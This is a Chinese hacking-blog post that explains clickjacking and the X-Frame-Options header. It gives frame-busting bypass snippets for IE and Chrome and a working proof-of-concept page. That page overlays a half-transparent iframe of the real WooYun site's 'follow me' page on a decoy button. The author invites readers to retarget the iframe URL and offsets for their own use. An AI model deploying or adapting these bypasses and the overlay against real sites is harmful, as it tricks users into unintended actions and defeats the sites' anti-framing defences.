记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

猥琐流之”关注我吧”

2013-01-18 16:00

文/sogili

主要说一下问世多年缺一直没被重视的”点击劫持”.

应用场景:
1.社区的关注功能,在WEB2.0时代”关注我”已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普:
简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的确实被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破?
因为”点击劫持”已经问世很多年,所以主流的浏览器基本上都提供的防御方案.
1.X-Frame-Options http响应头
三个选项:
(1)DENY : 不允许被任何网站嵌入.
(2)SAMEORIGIN : 允许被同源的网站嵌入.
(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.
对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting
简单来说就是用JS来检测是否被嵌入.
经典的framebuting代码:
if (top.location !== self.location) top.location=self.location;
对于这种framebuting还是可以hacking下的:
1.IE下的突破方法:
if(self.ActiveXObject)var location={};
2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:
if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome
乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云”关注我”功能的POC:
<script>
var xx=200;
var yy=200;
window.onload=function (e){
var iframe = document.getElementById('xxx');
var e = e||window.event;

var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;
var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

iframe.style.left=a.offsetLeft-xx;
iframe.style.top=a.offsetTop-yy;
}

</script>
<script>
if(self.ActiveXObject)var location={};//IE
if(self.chrome)setInterval(‘location=”javascript:void(0)”‘);//Chrome
</script>
<iframe style=”position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;” id=xxx src=”http://www.wooyun.org/whitehats/Sogili” WIDTH=60% height=500></iframe>
<br><br></br><br></br><br></br><center><button id=a>点击</button></center>
自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

知识来源: pkav.net/2013/01/341.html

阅读:110819 | 评论:0 | 标签:技术文档

想收藏或者和大家分享这篇好文章→复制链接地址

“猥琐流之”关注我吧””共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词